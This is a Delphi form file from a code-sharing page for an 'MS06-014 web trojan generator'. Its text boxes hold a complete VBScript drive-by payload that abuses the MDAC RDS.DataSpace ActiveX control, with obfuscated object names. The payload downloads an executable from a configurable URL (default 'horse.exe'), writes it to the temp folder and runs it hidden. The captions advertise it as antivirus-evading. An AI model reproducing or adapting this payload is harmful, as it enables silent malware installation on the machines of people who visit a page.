📄 unit1.dfm
字号:
object Form1: TForm1
Left = 198
Top = 116
BorderIcons = [biSystemMenu, biMinimize]
BorderStyle = bsSingle
Caption = 'MS06-014'#32593#39532#29983#25104#22120' --By '#26080#25932#23567#40857' QQ'#65306'5450913'
ClientHeight = 207
ClientWidth = 484
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 8
Top = 40
Width = 84
Height = 13
Caption = #32593#39029#26408#39532#22320#22336#65306
end
object Label2: TLabel
Left = 8
Top = 72
Width = 84
Height = 13
Caption = #26408#39532#20445#23384#22320#22336#65306
end
object Label3: TLabel
Left = 256
Top = 168
Width = 217
Height = 13
Cursor = crHandPoint
AutoSize = False
Caption = #26080#25932#23567#40857#65306'http://hi.baidu.com/pespin'
Font.Charset = DEFAULT_CHARSET
Font.Color = clDefault
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
object Memo1: TMemo
Left = 24
Top = 96
Width = 97
Height = 89
Lines.Strings = (
'<html>'
'<script language="VBScript">'
'on error resume next'
'YuyU = "Shell.Application"'
'hker = "Scripting.FileSystemObject"'
'dl ="')
ScrollBars = ssBoth
TabOrder = 0
end
object Memo2: TMemo
Left = 136
Top = 96
Width = 105
Height = 89
Lines.Strings = (
'"'
'Set df = document.createElement("object")'
'df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04F' +
'C29E36"'
'str="Microsoft.XMLHTTP"'
'Set x = df.CreateObject(str,"")'
'a1="Ado"'
'a2="db."'
'a3="Str"'
'a4="eam"'
'str1=a1&a2&a3&a4'
'str5=str1'
'set S = df.createobject(str5,"")'
'S.type = 1'
'str6="GET"'
'x.Open str6, dl, False'
'x.Send'
'set F = df.createobject("hker","")'
'set tmp = F.GetSpecialFolder(2) '
'path= F.BuildPath(tmp,path)'
'S.open'
'S.write x.responseBody'
'S.savetofile path,2'
'S.close'
'set Q = df.createobject(YuyU,"")'
'Q.ShellExecute path,"","","open",0'
'</script>'
'<head>'
'<title>'#26080#25932#23567#40857'MS06-014'#20813#26432#32593#39532'</title>'
'</head><body>'
'<center>'#26080#25932#23567#40857'MS06-014'#20813#26432#32593#39532' QQ:5450913</center>'
'</body>'
'<script type="text/jscript">'
'function init()'
'{document.write(Date());}'
'window.onload = init;'
'</script>'
'</html>')
ScrollBars = ssBoth
TabOrder = 1
end
object Button1: TButton
Left = 384
Top = 32
Width = 75
Height = 25
Caption = #29983#25104
TabOrder = 2
OnClick = Button1Click
end
object Edit1: TEdit
Left = 104
Top = 32
Width = 249
Height = 21
TabOrder = 3
Text = 'http://127.0.0.1/horse.exe'
end
object Edit2: TEdit
Left = 104
Top = 64
Width = 249
Height = 21
TabOrder = 4
Text = 'c:\virus.exe'
end
object Button2: TButton
Left = 384
Top = 64
Width = 75
Height = 25
Caption = #35828#26126
TabOrder = 5
OnClick = Button2Click
end
object SaveDialog1: TSaveDialog
DefaultExt = '.html'
Filter = 'html file|*.html'
Left = 296
Top = 112
end
end
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -